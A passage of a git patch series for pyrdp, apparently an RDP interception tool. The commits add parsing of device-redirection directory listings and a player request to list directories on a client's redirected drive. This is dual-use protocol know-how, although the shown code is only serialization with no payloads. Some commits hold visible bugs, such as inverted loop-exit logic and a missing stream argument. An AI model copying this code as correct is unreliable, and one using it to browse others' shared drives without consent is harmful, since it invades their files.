MajorFunction.IRP_MJ_READ: self.writeDeviceReadResponse, MajorFunction.IRP_MJ_CLOSE: self.writeDeviceCloseResponse, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.writeDirectoryControlResponse, } - # Dictionary to keep track of which completion ID is used for which major function. + self.fileInformationParsers: Dict[FileSystemInformationClass, callable] = { + FileSystemInformationClass.FileDirectoryInformation: self.parseFileDirectoryInformation, + FileSystemInformationClass.FileFullDirectoryInformation: self.parseFileFullDirectoryInformation, + FileSystemInformationClass.FileBothDirectoryInformation: self.parseFileBothDirectoryInformation, + FileSystemInformationClass.FileNamesInformation: self.parseFileNamesInformation, + } + + self.fileInformationWriters: Dict[FileSystemInformationClass, callable] = { + FileSystemInformationClass.FileDirectoryInformation: self.writeFileDirectoryInformation, + FileSystemInformationClass.FileFullDirectoryInformation: self.writeFileFullDirectoryInformation, + FileSystemInformationClass.FileBothDirectoryInformation: self.writeFileBothDirectoryInformation, + FileSystemInformationClass.FileNamesInformation: self.writeFileNamesInformation, + } + + # Dictionary to keep track of information associated to each completion ID. self.majorFunctionsForParsingResponse: Dict[int, MajorFunction] = {} + self.minorFunctionsForParsingResponse: Dict[int, MinorFunction] = {} + self.informationClassForParsingResponse: Dict[int, FileSystemInformationClass] = {} def parse(self, data: bytes) -> DeviceRedirectionPDU: @@ -391,6 +410,8 @@ def writeDeviceCloseResponse(self, _: DeviceCloseResponsePDU, stream: BytesIO): def parseDirectoryControlRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceIORequestPDU: + self.minorFunctionsForParsingResponse[completionID] = MinorFunction(minorFunction) + if minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: return DeviceIORequestPDU(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, minorFunction, stream.read()) else: @@ -402,16 +423,328 @@ def parseDirectoryControlRequest(self, deviceID: int, fileID: int, completionID: path = stream.read(pathLength) path = decodeUTF16LE(path)[: -1] - return DeviceQueryDirectoryRequest(deviceID, fileID, completionID, informationClass, initialQuery, path) + self.informationClassForParsingResponse[completionID] = informationClass + return DeviceQueryDirectoryRequestPDU(deviceID, fileID, completionID, informationClass, initialQuery, path) + + def writeDirectoryControlRequest(self, pdu: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequestPDU], stream: BytesIO): + self.minorFunctionsForParsingResponse[pdu.completionID] = pdu.minorFunction - def writeDirectoryControlRequest(self, pdu: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequest], stream: BytesIO): if pdu.minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: stream.write(pdu.payload) else: + self.informationClassForParsingResponse[pdu.completionID] = pdu.informationClass path = (pdu.path + "\x00").encode("utf-16le") Uint32LE.pack(pdu.informationClass, stream) Uint8.pack(pdu.initialQuery, stream) Uint32LE.pack(len(path), stream) stream.write(b"\x00" * 23) - stream.write(path) \ No newline at end of file + stream.write(path) + + + def parseDirectoryControlResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceIOResponsePDU: + minorFunction = self.minorFunctionsForParsingResponse.pop(completionID, None) + + if minorFunction is None: + return DeviceIOResponsePDU(None, deviceID, completionID, ioStatus, stream.read()) + elif minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + return DeviceIOResponsePDU(None, deviceID, completionID, ioStatus, stream.read()) + + informationClass = self.informationClassForParsingResponse.pop(completionID) + + length = Uint32LE.unpack(stream) + responseData = stream.read(length) + endByte = stream.read(1) + + fileInformation = self.fileInformationParsers[informationClass](responseData) + + return DeviceQueryDirectoryResponsePDU(deviceID, completionID, ioStatus, informationClass, fileInformation, endByte) + + def writeDirectoryControlResponse(self, pdu: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU], stream: BytesIO): + if not hasattr(pdu, "minorFunction") or pdu.minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + stream.write(pdu.payload) + return + + substream = BytesIO() + self.fileInformationWriters[pdu.informationClass](pdu.fileInformation, substream) + + Uint32LE.pack(len(substream.getvalue()), stream) + stream.write(substream.getvalue()) + stream.write(pdu.endByte) + + + def writeFileInformationList(self, dataList: List[bytes], stream: BytesIO): + currentOffset = 0 + + for index, data in enumerate(dataList): + isLastObject = index == len(dataList) - 1 + + length = len(data) + lengthWithOffset = length + 4 + + if not isLastObject and lengthWithOffset % 8 != 0: + alignmentLength = 8 - lengthWithOffset % 8 + else: + alignmentLength = 0 + + totalLength = lengthWithOffset + alignmentLength + nextOffset = currentOffset + totalLength + currentOffset = nextOffset + + Uint32LE.pack(nextOffset if not isLastObject else 0, stream) + stream.write(data) + stream.write(b"\x00" * alignmentLength) + + + def parseFileDirectoryInformation(self, data: bytes) -> List[FileDirectoryInformation]: + stream = BytesIO(data) + information: [FileDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset == 0: + break + elif stream.tell() % 8 != 0: + stream.read(8 - stream.tell() % 8) # alignment + + fileName = decodeUTF16LE(fileName) + + info = FileDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + fileName + ) + + information.append(info) + + return information + + + def writeFileDirectoryInformation(self, information: List[FileDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileFullDirectoryInformation(self, data: bytes) -> List[FileFullDirectoryInformation]: + stream = BytesIO(data) + information: [FileFullDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + eaSize = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + fileName = decodeUTF16LE(fileName) + + info = FileFullDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + eaSize, + fileName + ) + + information.append(info) + + return information + + + def writeFileFullDirectoryInformation(self, information: List[FileFullDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + Uint32LE.pack(info.eaSize, substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileBothDirectoryInformation(self, data: bytes) -> List[FileBothDirectoryInformation]: + stream = BytesIO(data) + information: [FileBothDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + eaSize = Uint32LE.unpack(stream) + shortNameLength = Uint8.unpack(stream) + # stream.read(1) # reserved (not actually used, WTF Microsoft ????) + shortName = stream.read(24)[: min(24, shortNameLength)] + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + shortName = decodeUTF16LE(shortName) + fileName = decodeUTF16LE(fileName) + + info = FileBothDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + eaSize, + shortName, + fileName + ) + + information.append(info) + + return information + + + def writeFileBothDirectoryInformation(self, information: List[FileBothDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + shortName = info.shortName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + Uint32LE.pack(info.eaSize, substream) + Uint8.pack(len(shortName), substream) + # stream.write(b"\x00") # reserved + substream.write(shortName.ljust(24, b"\x00")[: 24]) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileNamesInformation(self, data: bytes) -> List[FileNamesInformation]: + stream = BytesIO(data) + information: [FileNamesInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + fileNameLength = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + fileName = decodeUTF16LE(fileName) + + info = FileNamesInformation(fileIndex, fileName) + information.append(info) + + return information + + + def writeFileNamesInformation(self, information: List[FileNamesInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint32LE.pack(len(fileName), substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def convertWindowsTimeStamp(self, timeStamp: int) -> int: + """ + Convert Windows time (in 100-ns) to Unix time (in ms). + :param timeStamp: the Windows time stamp in 100-ns. + """ + # Difference between Unix time epoch and Windows time epoch + offset = 116444736000000000 # in 100-ns + result = timeStamp - offset # in 100-ns + return result // 10 # in ms \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index a78d8a3a5..e1f68c5ec 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -41,10 +41,13 @@ from pyrdp.pdu.rdp.virtual_channel.clipboard import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU, \ FormatListPDU, FormatListResponsePDU, FormatName, LongFormatName, ServerMonitorReadyPDU, ShortFormatName from pyrdp.pdu.rdp.virtual_channel.device_redirection import DeviceAnnounce, DeviceCloseRequestPDU, \ - DeviceCloseResponsePDU, DeviceQueryDirectoryRequest, DeviceCreateRequestPDU, DeviceCreateResponsePDU, \ - DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceReadResponsePDU, \ + DeviceCloseResponsePDU, DeviceCreateRequestPDU, DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, \ + DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, \ + DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, DeviceReadResponsePDU, \ DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, \ - DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU + DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU, \ + FileBothDirectoryInformation, FileDirectoryInformation, FileFullDirectoryInformation, FileInformationBase, \ + FileNamesInformation from pyrdp.pdu.rdp.virtual_channel.virtual_channel import VirtualChannelPDU from pyrdp.pdu.segmentation import SegmentationPDU from pyrdp.pdu.tpkt import TPKTPDU diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index 3ad1a14ab..0be8d9c74 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -6,8 +6,8 @@ from typing import Dict, List, Optional -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileSystemInformationClass, \ - MajorFunction, MinorFunction, RDPDRCapabilityType +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ + FileSystemInformationClass, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.pdu import PDU @@ -118,7 +118,65 @@ def __init__(self, deviceID: int, completionID: int, ioStatus: int): super().__init__(MajorFunction.IRP_MJ_CLOSE, deviceID, completionID, ioStatus) -class DeviceQueryDirectoryRequest(DeviceIORequestPDU): +class FileInformationBase(PDU): + def __init__(self, informationClass: FileSystemInformationClass): + super().__init__(b"") + self.informationClass = informationClass + + +class FileDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, fileName: str): + super().__init__(FileSystemInformationClass.FileDirectoryInformation) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + self.fileName = fileName + + +class FileFullDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, fileName: str): + super().__init__(FileSystemInformationClass.FileFullDirectoryInformation) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + self.eaSize = eaSize + self.fileName = fileName + + +class FileBothDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, shortName: str, fileName: str): + super().__init__(FileSystemInformationClass.FileBothDirectoryInformation) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + self.eaSize = eaSize + self.shortName = shortName + self.fileName = fileName + + +class FileNamesInformation(FileInformationBase): + def __init__(self, fileIndex: int, fileName: str): + super().__init__(FileSystemInformationClass.FileNamesInformation) + self.fileIndex = fileIndex + self.fileName = fileName + + +class DeviceQueryDirectoryRequestPDU(DeviceIORequestPDU): def __init__(self, deviceID: int, fileID: int, completionID: int, informationClass: FileSystemInformationClass, initialQuery: int, path: str): super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, MinorFunction.IRP_MN_QUERY_DIRECTORY) self.informationClass = informationClass @@ -126,6 +184,25 @@ def __init__(self, deviceID: int, fileID: int, completionID: int, informationCla self.path = path +class DeviceDirectoryControlResponsePDU(DeviceIOResponsePDU): + def __init__(self, minorFunction: MinorFunction, deviceID: int, completionID: int, ioStatus: int, payload: bytes = b""): + super().__init__(MajorFunction.IRP_MJ_DIRECTORY_CONTROL, deviceID, completionID, ioStatus, payload) + self.minorFunction = minorFunction + + +class DeviceQueryDirectoryResponsePDU(DeviceDirectoryControlResponsePDU): + def __init__(self, deviceID: int, completionID: int, ioStatus: int, informationClass: FileSystemInformationClass, fileInformation: [FileInformationBase], endByte: bytes): + super().__init__(MinorFunction.IRP_MN_QUERY_DIRECTORY, deviceID, completionID, ioStatus) + self.informationClass = informationClass + self.fileInformation = fileInformation + + # Named "padding" in the documentation. + # This byte is actually important, for some reason Windows uses it even though the documentation says + # it should be ignored. + # See MS-RDPEFS 2.2.3.4.10 + self.endByte = endByte + + class DeviceAnnounce(PDU): """ https://msdn.microsoft.com/en-us/library/cc241326.aspx From b7789eadb2f216aa682a65d17288ecef946a2d21 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 11:21:05 -0400 Subject: [PATCH 082/113] Fix fileInformation type hint --- pyrdp/pdu/rdp/virtual_channel/device_redirection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index 0be8d9c74..289fcd0bd 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -191,7 +191,7 @@ def __init__(self, minorFunction: MinorFunction, deviceID: int, completionID: in class DeviceQueryDirectoryResponsePDU(DeviceDirectoryControlResponsePDU): - def __init__(self, deviceID: int, completionID: int, ioStatus: int, informationClass: FileSystemInformationClass, fileInformation: [FileInformationBase], endByte: bytes): + def __init__(self, deviceID: int, completionID: int, ioStatus: int, informationClass: FileSystemInformationClass, fileInformation: List[FileInformationBase], endByte: bytes): super().__init__(MinorFunction.IRP_MN_QUERY_DIRECTORY, deviceID, completionID, ioStatus) self.informationClass = informationClass self.fileInformation = fileInformation From f2e0af22b43a8b60ffad26c6d391765207996e18 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 11:23:35 -0400 Subject: [PATCH 083/113] Make fileName a superclass attribute --- .../pdu/rdp/virtual_channel/device_redirection.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index 289fcd0bd..bf90c1830 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -119,14 +119,15 @@ def __init__(self, deviceID: int, completionID: int, ioStatus: int): class FileInformationBase(PDU): - def __init__(self, informationClass: FileSystemInformationClass): + def __init__(self, informationClass: FileSystemInformationClass, fileName: str): super().__init__(b"") self.informationClass = informationClass + self.fileName = fileName class FileDirectoryInformation(FileInformationBase): def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, fileName: str): - super().__init__(FileSystemInformationClass.FileDirectoryInformation) + super().__init__(FileSystemInformationClass.FileDirectoryInformation, fileName) self.fileIndex = fileIndex self.creationTime = creationTime self.lastAccessTime = lastAccessTime @@ -135,12 +136,11 @@ def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastW self.endOfFilePosition = endOfFilePosition self.allocationSize = allocationSize self.fileAttributes = fileAttributes - self.fileName = fileName class FileFullDirectoryInformation(FileInformationBase): def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, fileName: str): - super().__init__(FileSystemInformationClass.FileFullDirectoryInformation) + super().__init__(FileSystemInformationClass.FileFullDirectoryInformation, fileName) self.fileIndex = fileIndex self.creationTime = creationTime self.lastAccessTime = lastAccessTime @@ -150,12 +150,11 @@ def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastW self.allocationSize = allocationSize self.fileAttributes = fileAttributes self.eaSize = eaSize - self.fileName = fileName class FileBothDirectoryInformation(FileInformationBase): def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, shortName: str, fileName: str): - super().__init__(FileSystemInformationClass.FileBothDirectoryInformation) + super().__init__(FileSystemInformationClass.FileBothDirectoryInformation, fileName) self.fileIndex = fileIndex self.creationTime = creationTime self.lastAccessTime = lastAccessTime @@ -166,14 +165,12 @@ def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastW self.fileAttributes = fileAttributes self.eaSize = eaSize self.shortName = shortName - self.fileName = fileName class FileNamesInformation(FileInformationBase): def __init__(self, fileIndex: int, fileName: str): - super().__init__(FileSystemInformationClass.FileNamesInformation) + super().__init__(FileSystemInformationClass.FileNamesInformation, fileName) self.fileIndex = fileIndex - self.fileName = fileName class DeviceQueryDirectoryRequestPDU(DeviceIORequestPDU): From dbf25e75744b8d1ba90aba86e62b4492121d6501 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 12:43:38 -0400 Subject: [PATCH 084/113] Add PlayerDirectoryListingRequestPDU --- pyrdp/enum/player.py | 1 + pyrdp/parser/player.py | 18 ++++++++++++++++-- pyrdp/pdu/__init__.py | 4 ++-- pyrdp/pdu/player.py | 8 +++++++- 4 files changed, 26 insertions(+), 5 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index edf712dea..834508d93 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -21,6 +21,7 @@ class PlayerPDUType(IntEnum): FORWARDING_STATE = 13 # Event from the player to change the state of I/O forwarding BITMAP = 14 # Bitmap event from the player DEVICE_MAPPING = 15 # Device mapping event notification + DIRECTORY_LISTING_REQUEST = 16 # Directory listing request from the player class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 142a0bceb..79cada568 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -5,7 +5,7 @@ from pyrdp.parser.segmentation import SegmentationParser from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ - PlayerPDU, PlayerTextPDU + PlayerPDU, PlayerTextPDU, PlayerDirectoryListingRequestPDU class PlayerParser(SegmentationParser): @@ -22,6 +22,7 @@ def __init__(self): PlayerPDUType.FORWARDING_STATE: self.parseForwardingState, PlayerPDUType.BITMAP: self.parseBitmap, PlayerPDUType.DEVICE_MAPPING: self.parseDeviceMapping, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.parseDirectoryListingRequest, } self.writers = { @@ -34,6 +35,7 @@ def __init__(self): PlayerPDUType.FORWARDING_STATE: self.writeForwardingState, PlayerPDUType.BITMAP: self.writeBitmap, PlayerPDUType.DEVICE_MAPPING: self.writeDeviceMapping, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.writeDirectoryListingRequest, } @@ -200,4 +202,16 @@ def writeDeviceMapping(self, pdu: PlayerDeviceMappingPDU, stream: BytesIO): Uint32LE.pack(pdu.deviceID, stream) Uint32LE.pack(pdu.deviceType, stream) Uint32LE.pack(len(pdu.name), stream) - stream.write(pdu.name.encode()) \ No newline at end of file + stream.write(pdu.name.encode()) + + + def parseDirectoryListingRequest(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingRequestPDU: + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + return PlayerDirectoryListingRequestPDU(timestamp, path) + + def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(len(path), stream) + stream.write(path) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index e1f68c5ec..41a82d6d7 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -10,8 +10,8 @@ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ - PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ - PlayerPDU, PlayerTextPDU + PlayerDirectoryListingRequestPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ + PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 96d2a59ba..df7b8fa23 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -134,4 +134,10 @@ def __init__(self, timestamp: int, deviceID: int, deviceType: DeviceType, name: super().__init__(PlayerPDUType.DEVICE_MAPPING, timestamp, b"") self.deviceID = deviceID self.deviceType = deviceType - self.name = name \ No newline at end of file + self.name = name + + +class PlayerDirectoryListingRequestPDU(PlayerPDU): + def __init__(self, timestamp: int, path: str): + super().__init__(PlayerPDUType.DIRECTORY_LISTING_REQUEST, timestamp, b"") + self.path = path \ No newline at end of file From 1192be24d49abcee070de2f39f1da012d6adff3f Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 12:45:50 -0400 Subject: [PATCH 085/113] Fix name writing in writeDeviceMapping --- pyrdp/parser/player.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 79cada568..79d22233e 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -199,10 +199,12 @@ def parseDeviceMapping(self, stream: BytesIO, timestamp: int) -> PlayerDeviceMap return PlayerDeviceMappingPDU(timestamp, deviceID, deviceType, name) def writeDeviceMapping(self, pdu: PlayerDeviceMappingPDU, stream: BytesIO): + name = pdu.name.encode() + Uint32LE.pack(pdu.deviceID, stream) Uint32LE.pack(pdu.deviceType, stream) - Uint32LE.pack(len(pdu.name), stream) - stream.write(pdu.name.encode()) + Uint32LE.pack(len(name), stream) + stream.write(name) def parseDirectoryListingRequest(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingRequestPDU: From 14950984bd2dd0d6434764c7249471273110f00b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 12:47:57 -0400 Subject: [PATCH 086/113] Add deviceID field to PlayerDirectoryListingRequestPDU --- pyrdp/parser/player.py | 4 +++- pyrdp/pdu/player.py | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 79d22233e..8ae0c5061 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -208,12 +208,14 @@ def writeDeviceMapping(self, pdu: PlayerDeviceMappingPDU, stream: BytesIO): def parseDirectoryListingRequest(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingRequestPDU: + deviceID = Uint32LE.unpack(stream) length = Uint32LE.unpack(stream) path = stream.read(length).decode() - return PlayerDirectoryListingRequestPDU(timestamp, path) + return PlayerDirectoryListingRequestPDU(timestamp, deviceID, path) def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, stream: BytesIO): path = pdu.path.encode() + Uint32LE.pack(pdu.deviceID) Uint32LE.pack(len(path), stream) stream.write(path) \ No newline at end of file diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index df7b8fa23..1aa4c7077 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -138,6 +138,7 @@ def __init__(self, timestamp: int, deviceID: int, deviceType: DeviceType, name: class PlayerDirectoryListingRequestPDU(PlayerPDU): - def __init__(self, timestamp: int, path: str): + def __init__(self, timestamp: int, deviceID: int, path: str): super().__init__(PlayerPDUType.DIRECTORY_LISTING_REQUEST, timestamp, b"") + self.deviceID = deviceID self.path = path \ No 